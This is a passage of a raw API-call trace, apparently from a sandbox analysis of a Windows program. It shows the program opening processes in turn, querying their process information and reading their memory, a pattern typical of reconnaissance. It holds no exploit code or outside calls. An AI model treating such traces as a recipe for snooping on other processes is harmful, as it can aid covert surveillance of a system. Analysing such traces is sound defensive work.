lpNumberOfBytesRead=0x0) returned 1 [0353.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.915] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.915] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.916] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.916] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.916] malloc (_Size=0x70) returned 0xea8aa0 [0353.916] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea8aa0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0353.917] free (_Block=0xea8aa0) [0353.917] CloseHandle (hObject=0xa9c) returned 1 [0353.917] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0353.918] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0353.918] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.918] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0353.919] GetLastError () returned 0x0 [0353.919] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.919] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.920] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.920] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.920] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.920] malloc (_Size=0x6a) returned 0xea8a20 [0353.920] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8a20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0353.921] free (_Block=0xea8a20) [0353.921] CloseHandle (hObject=0xa9c) returned 1 [0353.922] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0353.922] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0353.922] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.922] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0353.923] GetLastError () returned 0x0 [0353.923] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.923] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.923] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.923] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.923] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.924] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.924] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.924] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.924] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.924] malloc (_Size=0x86) returned 0xe87820 [0353.924] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87820, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87820*, lpNumberOfBytesRead=0x0) returned 1 [0353.925] free (_Block=0xe87820) [0353.925] CloseHandle (hObject=0xa9c) returned 1 [0353.925] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0353.925] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0353.925] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.925] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.926] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0353.926] GetLastError () returned 0x0 [0353.926] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.927] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.931] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.932] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.932] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.932] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.932] malloc (_Size=0x72) returned 0xea9220 [0353.932] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea9220, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0353.933] free (_Block=0xea9220) [0353.933] CloseHandle (hObject=0xa9c) returned 1 [0353.933] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0353.934] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0353.934] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.934] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0353.935] GetLastError () returned 0x0 [0353.935] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.935] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.936] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.936] malloc (_Size=0x90) returned 0xec7ca0 [0353.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7ca0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0353.937] free (_Block=0xec7ca0) [0353.937] CloseHandle (hObject=0xa9c) returned 1 [0353.937] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0353.937] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0353.938] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.938] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.938] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0353.938] GetLastError () returned 0x0 [0353.939] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.939] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.939] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.940] malloc (_Size=0x64) returned 0xeb61c0 [0353.940] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb61c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0353.941] free (_Block=0xeb61c0) [0353.941] CloseHandle (hObject=0xa9c) returned 1 [0353.941] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0353.941] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0353.941] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.941] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.942] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0353.947] GetLastError () returned 0x0 [0353.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.948] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.948] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.948] malloc (_Size=0x66) returned 0xeb6150 [0353.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb6150, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0353.949] free (_Block=0xeb6150) [0353.949] CloseHandle (hObject=0xa9c) returned 1 [0353.949] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0353.949] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0353.950] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.950] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0353.950] GetLastError () returned 0x0 [0353.950] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.952] malloc (_Size=0x6e) returned 0xea8c20 [0353.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea8c20, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0353.953] free (_Block=0xea8c20) [0353.953] CloseHandle (hObject=0xa9c) returned 1 [0353.953] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0353.953] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0353.953] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.953] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0353.954] GetLastError () returned 0x0 [0353.954] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.954] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.954] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.954] 